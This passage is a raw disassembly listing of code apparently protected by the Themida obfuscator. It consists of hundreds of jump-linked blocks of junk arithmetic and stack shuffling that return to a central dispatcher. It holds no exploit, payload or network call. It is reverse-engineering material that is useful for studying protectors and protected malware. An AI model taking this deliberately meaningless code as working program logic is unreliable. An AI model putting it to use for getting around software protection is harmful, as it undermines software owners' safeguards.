loc_553B32 ; --------------------------------------------------------------------------- loc_558B5F: ; CODE XREF: Themida_:005554FAj add ecx, ebx pop ebx xchg ecx, [esp] pop esp push 5A2Ah mov [esp], esi push esp pop esi jmp loc_55A893 ; --------------------------------------------------------------------------- loc_558B75: ; CODE XREF: Themida_:00555FD3j mov [esp], ebx mov ebx, 698083AEh sub ecx, ebx pop ebx sub edx, 4062365Fh sub edx, ecx add edx, 4062365Fh push dword ptr [esp] pop ecx push esi jmp loc_55487F ; --------------------------------------------------------------------------- loc_558B98: ; CODE XREF: Themida_:00558952j pop ecx jmp loc_55D1EA ; --------------------------------------------------------------------------- loc_558B9E: ; CODE XREF: Themida_:0055B4C7j mov dl, 0EDh mov cl, dl pop edx add cl, 67h sub bl, cl pop ecx sub bl, al sub esp, 4 mov [esp], edx mov dl, 54h add bl, dl jmp loc_55CBD1 ; --------------------------------------------------------------------------- loc_558BBA: ; CODE XREF: Themida_:0055590Cj push bx mov bl, 0D9h add ch, bl jmp loc_552723 ; --------------------------------------------------------------------------- loc_558BC5: ; CODE XREF: Themida_:0055C408j push esi mov esi, esp jmp loc_559196 ; --------------------------------------------------------------------------- loc_558BCD: ; CODE XREF: Themida_:0055C1A1j mov [esp], ecx jmp loc_55D203 ; --------------------------------------------------------------------------- loc_558BD5: ; CODE XREF: Themida_:005598DDj pop edi push 7871h mov [esp], ebx push edi mov ebx, [esp] push esi jmp loc_55C761 ; --------------------------------------------------------------------------- loc_558BE8: ; CODE XREF: Themida_:0055C803j pop ebx push 1D7Fh mov [esp], edx mov edx, 3A850C01h and edx, 5CF551DEh or edx, 2A612376h jmp loc_559008 ; --------------------------------------------------------------------------- loc_558C07: ; CODE XREF: Themida_:00558E8Aj shl dword ptr [esp], cl pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_558C10: ; CODE XREF: Themida_:005553AEj mov ebx, [esp] add esp, 4 sub esp, 4 jmp loc_556B4B ; --------------------------------------------------------------------------- loc_558C24: ; CODE XREF: Themida_:00552F07j sub edx, 0B78FFAF7h jmp loc_555D75 ; --------------------------------------------------------------------------- loc_558C2F: ; CODE XREF: Themida_:005545F5j not edi sub edi, 0C2149FB7h push edi mov ecx, [esp] add esp, 4 mov edi, [esp] add esp, 4 add ecx, 7F215BEFh neg ecx jmp loc_55B01F ; --------------------------------------------------------------------------- loc_558C54: ; CODE XREF: Themida_:0055A16Dj add esp, 4 xchg edi, [esp] jmp loc_5599DA ; --------------------------------------------------------------------------- loc_558C62: ; CODE XREF: Themida_:00558F30j push ecx push edx mov edx, 4AF081Bh and edx, 1A2407h not edx push edx dec dword ptr [esp] pop edx and edx, 204B5886h add edx, 1BB43137h sub edx, 3BF589B7h mov ecx, edx jmp loc_5552C4 ; --------------------------------------------------------------------------- loc_558C8F: ; CODE XREF: Themida_:00551B34j pop cx sub bh, 6Bh sub cl, 0C0h sub cl, bh add cl, 0C0h pop ebx jmp loc_557724 ; --------------------------------------------------------------------------- loc_558CA2: ; CODE XREF: Themida_:00554040j add esi, 4 xchg esi, [esp] mov esp, [esp] jmp locret_551FA2 ; --------------------------------------------------------------------------- loc_558CB3: ; CODE XREF: Themida_:0055B473j xor ebx, 48D953DEh jmp loc_555560 ; --------------------------------------------------------------------------- loc_558CBE: ; CODE XREF: Themida_:0055C02Bj jmp loc_551815 ; --------------------------------------------------------------------------- loc_558CC3: ; CODE XREF: Themida_:00559652j push ebx jmp loc_554F08 ; --------------------------------------------------------------------------- loc_558CC9: ; CODE XREF: Themida_:0055B56Fj mov esi, 30530B78h mov edi, esi pop esi add edx, edi pop edi add edx, esi sub edx, 30530B78h pop esi jmp loc_551815 ; --------------------------------------------------------------------------- loc_558CE2: ; CODE XREF: Themida_:0055816Bj mov esi, 33A1648Ah jmp loc_55467E ; --------------------------------------------------------------------------- mov ax, [esp] push 44DEh jmp loc_55623D ; --------------------------------------------------------------------------- loc_558CFA: ; CODE XREF: Themida_:00551FE3j add esp, 4 jmp loc_552FDB ; --------------------------------------------------------------------------- loc_558D05: ; CODE XREF: Themida_:0055D5E1j add edx, ebx jmp loc_5539D4 ; --------------------------------------------------------------------------- loc_558D0C: ; CODE XREF: Themida_:00555B82j xor bh, 7Dh push 1222h mov [esp], eax mov al, 0EDh xor al, 0E3h shr al, 1 sub al, 4Ah and al, 0A7h push ebx mov bl, 65h sub bl, 8Ch add al, 0BFh sub al, bl sub al, 0BFh pop ebx xor al, 0C8h sub bh, al jmp loc_55A45F ; --------------------------------------------------------------------------- loc_558D37: ; CODE XREF: Themida_:00553366j add dword ptr [esp+4], 6D3F343Dh sub dword ptr [esp+4], 0BA60734h add [esp+4], ecx add dword ptr [esp+4], 0BA60734h push ecx mov ecx, 6D3F343Dh sub [esp+8], ecx pop ecx pop ecx pop dword ptr [edi+40h] sub dword ptr [edi+40h], 2FB5516Fh mov eax, [esp] sub esp, 4 jmp loc_5548A4 ; --------------------------------------------------------------------------- loc_558D74: ; CODE XREF: Themida_:0055C880j or eax, eax jz loc_555000 push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_554C6D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_558D96: ; CODE XREF: Themida_:0055316Dj push edx mov edx, 31A12AF0h xor edi, edx mov edx, [esp] jmp loc_5548AD ; --------------------------------------------------------------------------- loc_558DA6: ; CODE XREF: Themida_:0055B4E0j pop eax xchg esi, [esp] pop esp sub [esp], eax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_558DB4: ; CODE XREF: Themida_:00559A6Dj add edi, 4 xchg edi, [esp] jmp loc_55CC8A ; --------------------------------------------------------------------------- mov ax, [esp] push 6344h mov [esp], ecx push esp pop ecx push esi push edi mov edi, 279C148Bh inc edi push ecx mov ecx, 5F2B16F9h sub ecx, 0FF02FFD0h add edi, ecx pop ecx push edx mov edx, 783BD44Fh add edi, edx jmp loc_559F06 ; --------------------------------------------------------------------------- loc_558DF4: ; CODE XREF: Themida_:0055184Aj mov edx, esp push esi jmp loc_55B300 ; --------------------------------------------------------------------------- loc_558DFC: ; CODE XREF: Themida_:00558E17j mov ebp, eax jmp loc_55885D ; --------------------------------------------------------------------------- loc_558E03: ; CODE XREF: Themida_:0055D2B2j push ebx mov ebx, esp jmp loc_557ED0 ; --------------------------------------------------------------------------- loc_558E0B: ; CODE XREF: Themida_:00554BB7j mov [esp], ebp push ecx mov ecx, 0DC34387h push eax mov eax, ecx jmp loc_558DFC ; --------------------------------------------------------------------------- loc_558E1C: ; CODE XREF: Themida_:0055795Dj push esi jmp loc_5525BE ; --------------------------------------------------------------------------- loc_558E22: ; CODE XREF: Themida_:00559F54j inc ecx and ecx, 239C78E8h not ecx not ecx jmp loc_55660E ; --------------------------------------------------------------------------- loc_558E32: ; CODE XREF: Themida_:0055854Cj mov eax, [esp] add esp, 4 push 38B7h mov [esp], esi mov esi, 7007375h sub esi, 0F5728F9h jmp loc_55B6E4 ; --------------------------------------------------------------------------- loc_558E50: ; CODE XREF: Themida_:00559CA0j not edx jmp loc_5533FF ; --------------------------------------------------------------------------- loc_558E57: ; CODE XREF: Themida_:0055CEEAj inc ah sub ah, 5 shl ah, 3 and ah, 0E1h add ah, 0CEh jmp loc_55CE1F ; --------------------------------------------------------------------------- loc_558E6A: ; CODE XREF: Themida_:00558858j mov ecx, 7F2A0EC4h shl ecx, 2 sub ecx, 63E5377Fh jmp loc_559AB0 ; --------------------------------------------------------------------------- loc_558E7D: ; CODE XREF: Themida_:0055A2A3j mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_558C07 ; --------------------------------------------------------------------------- loc_558E8F: ; CODE XREF: Themida_:0055435Bj sub esp, 4 jmp loc_551E62 ; --------------------------------------------------------------------------- loc_558E9A: ; CODE XREF: Themida_:0055DC52j add esp, 4 sub eax, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push esi mov esi, 342E793Ah mov ebx, 6A9BEEE1h jmp loc_5532CB ; --------------------------------------------------------------------------- loc_558EBE: ; CODE XREF: Themida_:00558958j xor ebp, 3DEAB97Fh xor eax, ebp mov ebp, [esp] add esp, 4 push ebx mov ebx, 0AD23992h shr ebx, 3 shr ebx, 5 push edi mov edi, 2420440Bh inc edi push 0 sub [esp], edi mov edi, [esp] add esp, 4 xchg ecx, edi not ecx xchg ecx, edi push eax mov eax, 26490A79h or edi, eax jmp loc_559D47 ; --------------------------------------------------------------------------- loc_558F00: ; CODE XREF: Themida_:00552CD4j xor ebx, eax sub esp, 4 mov [esp], edx push esi push edx jmp loc_553AF6 ; --------------------------------------------------------------------------- loc_558F0F: ; CODE XREF: Themida_:00555600j xchg edi, [esp] jmp loc_55C94E ; --------------------------------------------------------------------------- loc_558F17: ; CODE XREF: Themida_:00551CEAj add esi, 0FFFFFFFFh add esi, 8984800Ah add edi, esi jmp loc_5593B0 ; --------------------------------------------------------------------------- loc_558F27: ; CODE XREF: Themida_:00555534j add ebp, esi jmp loc_558000 ; --------------------------------------------------------------------------- loc_558F2E: ; CODE XREF: Themida_:005533EFj pop ebx pop ebp jmp loc_558C62 ; --------------------------------------------------------------------------- push 4011h mov [esp], edx jmp loc_551815 ; --------------------------------------------------------------------------- loc_558F42: ; CODE XREF: Themida_:0055B8D5j push ebp jmp loc_55C05A ; --------------------------------------------------------------------------- loc_558F48: ; CODE XREF: Themida_:0055750Dj push small 0 push dx mov dh, 9 jmp loc_55B86E ; --------------------------------------------------------------------------- loc_558F55: ; CODE XREF: Themida_:0055254Aj pop esi jmp loc_55C17C ; --------------------------------------------------------------------------- loc_558F5B: ; CODE XREF: Themida_:0055305Bj mov esi, [esp] sub esp, 4 jmp loc_5534AE ; --------------------------------------------------------------------------- loc_558F66: ; CODE XREF: Themida_:0055432Fj pop ebp mov ebp, edx pop edx sub ebx, 5D0D1AE6h add ebx, 26594AB4h add ebx, ebp push ecx mov ecx, 26594AB4h jmp loc_55A5F7 ; --------------------------------------------------------------------------- loc_558F83: ; CODE XREF: Themida_:00552B13j mov ch, dh jmp loc_553CFB ; --------------------------------------------------------------------------- loc_558F8A: ; CODE XREF: Themida_:00559AB2j or ecx, 399A4C6Fh add ecx, 0A182D555h sub eax, ecx jmp loc_555B67 ; --------------------------------------------------------------------------- loc_558F9D: ; CODE XREF: Themida_:00555054j push 5F4Fh mov [esp], edx pop ebp pop edx pop edi and eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 or edx, eax shl edx, 1 push 4FE5h mov [esp], ebx push eax jmp loc_55988D ; --------------------------------------------------------------------------- loc_558FCB: ; CODE XREF: Themida_:00559AC1j push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ecx, [esp] jmp loc_556EDB ; --------------------------------------------------------------------------- loc_558FDE: ; CODE XREF: Themida_:00552725j sub al, 31h add al, 46h jmp loc_556AA8 ; --------------------------------------------------------------------------- loc_558FE7: ; CODE XREF: Themida_:00552AB1j mov ebp, [esp] jmp loc_55CD76 ; --------------------------------------------------------------------------- loc_558FEF: ; CODE XREF: Themida_:00553DF4j push esi mov esi, esp jmp loc_55CDA6 ; --------------------------------------------------------------------------- loc_558FF7: ; CODE XREF: Themida_:00556D8Ej shr ebp, 3 shl ebp, 4 jmp loc_5525D7 ; --------------------------------------------------------------------------- loc_559002: ; CODE XREF: Themida_:0055BB94j push esi jmp loc_551A4E ; --------------------------------------------------------------------------- loc_559008: ; CODE XREF: Themida_:00558C02j or edx, 45693690h sub edx, 232BEDD4h jmp loc_558ADF ; --------------------------------------------------------------------------- loc_559019: ; CODE XREF: Themida_:005563B2j xchg ebx, [esp] pop esp mov [esp], esi push 73E8h mov [esp], esp jmp loc_555283 ; --------------------------------------------------------------------------- loc_55902D: ; CODE XREF: Themida_:00556826j or ecx, 76CA2E97h add ecx, 8121D105h add edx, ecx pop ecx sub esp, 4 mov [esp], eax push esi mov esi, 33335C67h mov eax, esi mov esi, [esp] add esp, 4 dec eax shl eax, 7 xor eax, 99AE3302h add edx, eax mov eax, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] imul cl movzx cx, ah push small 4714h mov [esp], cx movzx cx, al push cx pushf jmp loc_5524E2 ; --------------------------------------------------------------------------- loc_55908A: ; CODE XREF: Themida_:005542B2j jmp loc_551815 ; --------------------------------------------------------------------------- loc_55908F: ; CODE XREF: Themida_:00552274j add esi, 73B3446Ah jmp loc_551CD8 ; --------------------------------------------------------------------------- loc_55909A: ; CODE XREF: Themida_:00554491j push dword ptr [edi+eax*4] push ebp push edx mov edx, 319D2BEFh jmp loc_55A30D ; --------------------------------------------------------------------------- loc_5590A9: ; CODE XREF: Themida_:0055C8E7j btc [esp], ax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_5590B4: ; CODE XREF: Themida_:005586A5j and ebx, ebp pop ebp push ecx mov ecx, 0AE00717h and ebx, ecx pop ecx sub ebx, 44452EE5h add edi, ebx pop ebx jmp loc_55A7D8 ; --------------------------------------------------------------------------- loc_5590CE: ; CODE XREF: Themida_:0055A013j sub dh, 11h add al, dh pop edx jmp loc_55CEE3 ; --------------------------------------------------------------------------- loc_5590D9: ; CODE XREF: Themida_:0055A84Aj add esp, 4 push ebp mov ebp, 2F341B44h xor ebp, 34B0F6Dh add ebp, 772D7410h push eax mov eax, 548B68DFh shr eax, 3 not eax and eax, 44F84A57h xor eax, 183B758Dh add ebp, eax pop eax add ecx, ebp pop ebp xor ecx, [esp] xor [esp], ecx jmp loc_559843 ; --------------------------------------------------------------------------- loc_559117: ; CODE XREF: Themida_:0055C568j pop dword ptr [esp] jmp loc_555BB8 ; --------------------------------------------------------------------------- loc_55911F: ; CODE XREF: Themida_:00554E8Ej dec eax jmp loc_55569E ; --------------------------------------------------------------------------- push dword ptr [esp] mov edx, [esp] add esp, 4 push 6740h mov [esp], ecx jmp loc_558B0D ; --------------------------------------------------------------------------- loc_55913B: ; CODE XREF: Themida_:0055AF20j mov esp, [esp] jmp loc_55C36B ; --------------------------------------------------------------------------- loc_559143: ; CODE XREF: Themida_:005537EDj mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 mov esi, [esp] add esp, 4 add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] jmp loc_5536E3 ; --------------------------------------------------------------------------- loc_559183: ; CODE XREF: Themida_:00553AE6j add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push edx jmp loc_55464C ; --------------------------------------------------------------------------- loc_559196: ; CODE XREF: Themida_:00558BC8j add esi, 4 add esi, 2 xchg esi, [esp] pop esp inc ch push eax mov al, 4Dh sub ch, al pop eax add al, 18h add al, ch sub al, 18h push dword ptr [esp] jmp loc_554522 ; --------------------------------------------------------------------------- loc_5591B9: ; CODE XREF: Themida_:0055CBCCj add edx, 0ED94C34h add edx, eax push eax mov eax, 0ED94C34h sub edx, eax jmp loc_5529C6 ; --------------------------------------------------------------------------- loc_5591CE: ; CODE XREF: Themida_:00554166j not dl jmp loc_552448 ; --------------------------------------------------------------------------- loc_5591D5: ; CODE XREF: Themida_:0055CD71j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push edi push edx mov edx, 6C6F0DE9h mov edi, 99407E38h jmp loc_55D0E8 ; --------------------------------------------------------------------------- loc_5591F3: ; CODE XREF: Themida_:0055C3EEj add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_55A99C ; --------------------------------------------------------------------------- lodsd jmp loc_555E2F ; --------------------------------------------------------------------------- loc_55920A: ; CODE XREF: Themida_:005523D3j mov [esp], edi push esp jmp loc_5582B9 ; --------------------------------------------------------------------------- loc_559213: ; CODE XREF: Themida_:00557BA6j inc ebx jmp loc_558613 ; --------------------------------------------------------------------------- loc_559219: ; CODE XREF: Themida_:00552759j pop ecx sub eax, 19CB61D1h add eax, esi push ebx mov ebx, 773537F0h or ebx, 27360C69h add ebx, 0A29421D8h add eax, ebx pop ebx pop esi sub eax, 2E760280h add eax, ebx add eax, 2E760280h sub eax, 38597804h push 429Dh mov [esp], edx jmp loc_55375F ; --------------------------------------------------------------------------- loc_559255: ; CODE XREF: Themida_:00557DF9j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub esp, 4 mov [esp], edi jmp loc_55B724 ; --------------------------------------------------------------------------- loc_559275: ; CODE XREF: Themida_:0055266Dj add esi, 2EC1BF9h jmp loc_557529 ; --------------------------------------------------------------------------- loc_559280: ; CODE XREF: Themida_:0055A564j sub esi, 5AB35EA2h pop edi add esi, 2 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp cmp cx, ax pushf jmp loc_55BE89 ; --------------------------------------------------------------------------- loc_5592A0: ; CODE XREF: Themida_:0055D592j add esi, 3AB61FBCh add esi, 3BB45FB0h jmp loc_554F41 ; --------------------------------------------------------------------------- loc_5592B1: ; CODE XREF: Themida_:00552AF5j mov ecx, [esp] jmp loc_553669 ; --------------------------------------------------------------------------- loc_5592B9: ; CODE XREF: Themida_:005539A3j add ebx, ebp pop ebp sub ebx, 0A85B6DB7h xor ebp, ebx pop ebx sub ebp, 2A9C3666h or [edi+1Ch], ebp pop ebp jmp loc_551815 ; --------------------------------------------------------------------------- loc_5592D4: ; CODE XREF: Themida_:005553A1j mov [esp], edx mov edx, 1 jmp loc_55D9DA ; --------------------------------------------------------------------------- loc_5592E1: ; CODE XREF: Themida_:00552ED0j pop edx sub bl, al sub bl, 0F8h sub bl, 29h push cx push ebx mov bh, 80h mov cl, bh pop ebx jmp loc_55C3AA ; --------------------------------------------------------------------------- loc_5592F7: ; CODE XREF: Themida_:00554860j add ecx, 7E4B710Ah jmp loc_556CFB ; --------------------------------------------------------------------------- loc_559302: ; CODE XREF: Themida_:0055D8CEj push ecx mov ecx, 493E6C5Ch shr ecx, 8 and ecx, 952053Bh not ecx sub ecx, 0F917D872h add eax, ecx pop ecx add eax, ecx sub eax, 6A82365h push edi mov edi, 319D4E4Dh not edi sub edi, 3CEC521Fh push ebx mov ebx, 1 sub edi, ebx pop ebx jmp loc_55C358 ; --------------------------------------------------------------------------- loc_55933F: ; CODE XREF: Themida_:00552AFFj mov [esp], ebx mov ebx, 3E7C3C33h push edx push ebp mov ebp, 45C651E7h sub ebp, 348E1F38h mov edx, ebp mov ebp, [esp] add esp, 4 xor ebx, edx mov edx, [esp] add esp, 4 jmp loc_55312F ; --------------------------------------------------------------------------- loc_55936F: ; CODE XREF: Themida_:00558703j pop ecx add esp, 4 dec edi push esi mov esi, 5E747B99h and edi, esi pop esi jmp loc_553BC7 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55952E ; --------------------------------------------------------------------------- loc_55938B: ; CODE XREF: Themida_:0055AE63j push ebx mov ebx, 4 add edi, 7E11170Fh add edi, ebx sub edi, 7E11170Fh mov ebx, [esp] add esp, 4 add edi, 2 jmp loc_553E0C ; --------------------------------------------------------------------------- loc_5593B0: ; CODE XREF: Themida_:00558F22j pop esi add edi, 4 xchg edi, [esp] pop esp sub ecx, 5F6B2E80h push eax mov eax, esp jmp loc_559FBC ; --------------------------------------------------------------------------- loc_5593C6: ; CODE XREF: Themida_:00559A21j mov esi, 4 jmp loc_55D0D4 ; --------------------------------------------------------------------------- loc_5593D0: ; CODE XREF: Themida_:0055A54Fj add edx, ebp jmp loc_55CE08 ; --------------------------------------------------------------------------- loc_5593D7: ; CODE XREF: Themida_:0055D31Cj push cx push ebx jmp loc_555A7C ; --------------------------------------------------------------------------- loc_5593DF: ; CODE XREF: Themida_:0055D146j push ecx jmp loc_556CBD ; --------------------------------------------------------------------------- loc_5593E5: ; CODE XREF: Themida_:00553916j sub eax, 4 xchg eax, [esp] pop esp jmp loc_559C91 ; --------------------------------------------------------------------------- loc_5593F1: ; CODE XREF: Themida_:005588FFj pop ebx pop ecx xor dl, cl push dword ptr [esp] pop ecx push 850h mov [esp], edi mov edi, esp jmp loc_55B61D ; --------------------------------------------------------------------------- loc_559408: ; CODE XREF: Themida_:0055210Cj add ebx, 73944B7Dh dec ebx sub ebx, 0D027E391h add eax, ebx pop ebx push eax jmp loc_55B705 ; --------------------------------------------------------------------------- loc_55941E: ; CODE XREF: Themida_:00554619j sub dword ptr [esp], 316F57C2h pop ebx add ebx, 316F57C2h pop ebp add ebx, edi mov [ebx], al pop ebx jmp loc_551815 ; --------------------------------------------------------------------------- loc_559437: ; CODE XREF: Themida_:00555AFCj mov esi, 44C93194h add [esp+4], esi jmp loc_5553A6 ; --------------------------------------------------------------------------- loc_559445: ; CODE XREF: Themida_:005578F7j pop dword ptr [esp] pop esp jmp loc_551B8D ; --------------------------------------------------------------------------- loc_55944E: ; CODE XREF: Themida_:0055D27Fj mov [esp], ecx push ebp push esi jmp loc_558928 ; --------------------------------------------------------------------------- loc_559458: ; CODE XREF: Themida_:00552FCEj add esp, 4 jmp loc_554BBC ; --------------------------------------------------------------------------- loc_559463: ; CODE XREF: Themida_:00555BA5j add esi, edi pop edi push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp shr eax, 0Eh xor eax, ecx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax push edi pop eax pop edi push 10EAh jmp loc_556EB6 ; --------------------------------------------------------------------------- loc_559498: ; CODE XREF: Themida_:0055DBDDj pop edx mov dh, ch pop cx push eax mov al, 13h neg al or al, 0D6h jmp loc_55981C ; --------------------------------------------------------------------------- loc_5594A9: ; CODE XREF: Themida_:0055AA1Aj push eax xchg edi, [esp] xchg esi, edi not esi xor edi, esi xor esi, edi xor edi, esi push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push 6863h mov [esp], ebx jmp loc_554A06 ; --------------------------------------------------------------------------- loc_5594D6: ; CODE XREF: Themida_:005581B7j pop esp add ecx, 2AB32C79h add ecx, edx jmp loc_554B97 ; --------------------------------------------------------------------------- loc_5594E4: ; CODE XREF: Themida_:0055429Ej push esi mov esi, 4 add ebp, esi pop esi sub ebp, 4 jmp loc_55743C ; --------------------------------------------------------------------------- loc_5594F5: ; CODE XREF: Themida_:00551FB8j dec cl add cl, 9Dh xor al, cl pop ecx push 1CABh mov [esp], eax mov al, 88h and al, 6Eh not al shr al, 6 jmp loc_55707C ; --------------------------------------------------------------------------- loc_559513: ; CODE XREF: Themida_:0055B952j push ebp mov ebp, 360711B7h and ebp, 43CB3150h shr ebp, 6 inc ebp and ebp, 91E0F06h jmp loc_5575A6 ; --------------------------------------------------------------------------- loc_55952E: ; CODE XREF: Themida_:00559386j sub esp, 4 mov [esp], ebp push esp pop ebp sub esp, 4 mov [esp], ecx push edx push 7E2F509Ah pop edx or edx, 3CC873FDh push ecx mov ecx, 238821F6h neg ecx jmp loc_555023 ; --------------------------------------------------------------------------- loc_559556: ; CODE XREF: Themida_:005598FDj mov esi, 66A05861h and ecx, esi pop esi or ecx, 544216E7h shl ecx, 6 jmp loc_553C1F ; --------------------------------------------------------------------------- loc_55956C: ; CODE XREF: Themida_:005569F4j mov ch, ah jmp loc_55D5B1 ; --------------------------------------------------------------------------- loc_559573: ; CODE XREF: Themida_:0055BD49j mov edi, 63C7171Ah dec edi sub edi, 126424D7h or edi, 28D7156Bh shl edi, 6 and edi, 46B26083h jmp loc_557567 ; --------------------------------------------------------------------------- loc_559593: ; CODE XREF: Themida_:0055402Aj xchg ecx, [esp] mov esp, [esp] mov fs:[edx], al jmp loc_551815 ; --------------------------------------------------------------------------- loc_5595A1: ; CODE XREF: Themida_:00551CD3j push esi mov esi, 5A32610Fh shr esi, 5 shl esi, 6 shr esi, 8 xor esi, 0B464C0h add ecx, esi pop esi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_55611B ; --------------------------------------------------------------------------- loc_5595CA: ; CODE XREF: Themida_:0055AA26j push eax mov eax, 205649D9h neg eax shl eax, 1 and eax, 78A42CA5h push esi mov esi, 38002C00h sub eax, esi pop esi add edx, 1AE0657Ah jmp loc_55C044 ; --------------------------------------------------------------------------- loc_5595ED: ; CODE XREF: Themida_:0055D6AEj push esi jmp loc_5575CF ; --------------------------------------------------------------------------- loc_5595F3: ; CODE XREF: Themida_:0055D2CEj pop ebp sub ebx, edx mov edx, [esp] add esp, 4 sub eax, 69C33C47h sub eax, ebx add eax, 69C33C47h pop ebx add eax, ebx jmp loc_552745 ; --------------------------------------------------------------------------- loc_559613: ; CODE XREF: Themida_:00553397j add esp, 4 xor edi, [esp] jmp loc_558435 ; --------------------------------------------------------------------------- loc_55961E: ; CODE XREF: Themida_:0055A7BDj xor ebp, 4211515Fh add ecx, 45110114h jmp loc_55C4A8 ; --------------------------------------------------------------------------- loc_55962F: ; CODE XREF: Themida_:00555ABEj pop esi jmp loc_55CE2C ; --------------------------------------------------------------------------- loc_559635: ; CODE XREF: Themida_:0055D994j push eax jmp loc_5579C7 ; --------------------------------------------------------------------------- loc_55963B: ; CODE XREF: Themida_:00551E21j push ebp push esp pop ebp push esi mov esi, esp jmp loc_55A658 ; --------------------------------------------------------------------------- loc_559646: ; CODE XREF: Themida_:00554B2Cj pop esi jmp loc_55CA26 ; --------------------------------------------------------------------------- loc_55964C: ; CODE XREF: Themida_:0055AFE6j add edi, 4 jmp loc_558CC3 ; --------------------------------------------------------------------------- loc_559657: ; CODE XREF: Themida_:00556022j pop edi jmp loc_55A692 ; --------------------------------------------------------------------------- loc_55965D: ; CODE XREF: Themida_:0055DCA0j sub dword ptr [esp+4], 0B26361Dh pop ebp add dword ptr [esp], 7F93463Ah sub [esp], eax sub dword ptr [esp], 7F93463Ah push ebp push edi push ebp jmp loc_554176 ; --------------------------------------------------------------------------- loc_55967F: ; CODE XREF: Themida_:005545FDj and dh, 0DEh and dh, 0D8h sub dh, 72h and dh, 2Dh sub dh, 2 jmp loc_55D367 ; --------------------------------------------------------------------------- loc_559693: ; CODE XREF: Themida_:0055BD29j pop ecx sub esp, 4 mov [esp], eax jmp loc_55C6F6 ; --------------------------------------------------------------------------- loc_5596A2: ; CODE XREF: Themida_:005521C9j push dword ptr [esp+4] push dword ptr [esp] pop ecx add esp, 4 pop dword ptr [esp] jmp loc_552B66 ; --------------------------------------------------------------------------- loc_5596B8: ; CODE XREF: Themida_:0055BD23j xor al, dl push dword ptr [esp] pop edx add esp, 4 sub esp, 4 jmp loc_55770C ; --------------------------------------------------------------------------- loc_5596C9: ; CODE XREF: Themida_:0055845Dj push ebx mov ebx, 5770BF1h sub edi, ebx pop ebx push edx push ebx mov ebx, 0 mov edx, ebx pop ebx jmp loc_5569B8 ; --------------------------------------------------------------------------- loc_5596E1: ; CODE XREF: Themida_:0055CF2Cj xchg edx, edi shl edi, 8 and edi, 6C2A27A0h or edi, 7DF314BAh xor edi, 7DFB37BEh add ecx, edi jmp loc_55267B ; --------------------------------------------------------------------------- loc_5596FF: ; CODE XREF: Themida_:005580A8j add edx, 4 jmp loc_55D1D6 ; --------------------------------------------------------------------------- loc_55970A: ; CODE XREF: Themida_:0055DC04j push ebx mov bh, 9Dh jmp loc_5543D2 ; --------------------------------------------------------------------------- loc_559712: ; CODE XREF: Themida_:0055BBD0j sub esp, 4 mov [esp], eax mov eax, 38FD25CDh jmp loc_557C0B ; --------------------------------------------------------------------------- loc_559725: ; CODE XREF: Themida_:005565C0j push ecx mov ecx, esp jmp loc_5545A0 ; --------------------------------------------------------------------------- loc_55972D: ; CODE XREF: Themida_:00557A73j dec eax xor eax, 2BE832DDh add esi, eax jmp loc_554CF8 ; --------------------------------------------------------------------------- loc_55973A: ; CODE XREF: Themida_:0055568Dj add edx, 42923569h sub ebp, edx pop edx pop edx jmp loc_554EFA ; --------------------------------------------------------------------------- loc_559749: ; CODE XREF: Themida_:00555BEEj pop edi and [edi+1Ch], ebx pop ebx jmp loc_551815 ; --------------------------------------------------------------------------- loc_559753: ; CODE XREF: Themida_:005525B3j pop ebx neg dword ptr [edi+20h] shr dword ptr [edi+20h], 7 push 2810h mov [esp], edx mov edx, 20h add edx, edi xor dword ptr [edx], 7975A65h pop edx jmp loc_55A779 ; --------------------------------------------------------------------------- loc_559776: ; CODE XREF: Themida_:00556489j sub esp, 4 mov [esp], esi jmp loc_553BD8 ; --------------------------------------------------------------------------- loc_559784: ; CODE XREF: Themida_:00553F10j neg eax inc eax and eax, 7EBF035Ah push 0 sub [esp], eax jmp loc_553BB3 ; --------------------------------------------------------------------------- loc_559799: ; CODE XREF: Themida_:00551BAFj mov ebp, 4 sub ebx, ebp pop ebp xchg ebx, [esp] mov esp, [esp] jmp loc_555F9F ; --------------------------------------------------------------------------- loc_5597AC: ; CODE XREF: Themida_:0055AE00j xchg dx, [esp] mov ax, [esp] jmp loc_558969 ; --------------------------------------------------------------------------- loc_5597B9: ; CODE XREF: Themida_:0055C69Cj mov edx, 21911533h add esi, edx pop edx sub esi, 21E14816h add edi, esi mov esi, [esp] add esp, 4 push edx mov edx, 4 push ebp jmp loc_55C24F ; --------------------------------------------------------------------------- loc_5597DE: ; CODE XREF: Themida_:00556B5Fj push edx mov edx, 0A6E7FA3Eh add ebp, edx jmp loc_55C10E ; --------------------------------------------------------------------------- loc_5597EB: ; CODE XREF: Themida_:005581E6j xchg ebx, [esp] pop esp mov [esp], edi mov edi, 68273C93h and edi, 20496D08h push 76EBh mov [esp], eax mov eax, 7BEA2EBEh or eax, 173D790Dh push ebp mov ebp, 50907317h add eax, ebp jmp loc_557747 ; --------------------------------------------------------------------------- loc_55981C: ; CODE XREF: Themida_:005594A4j sub al, 0D2h and dh, al pop eax xor dh, 63h jmp loc_55B4F4 ; 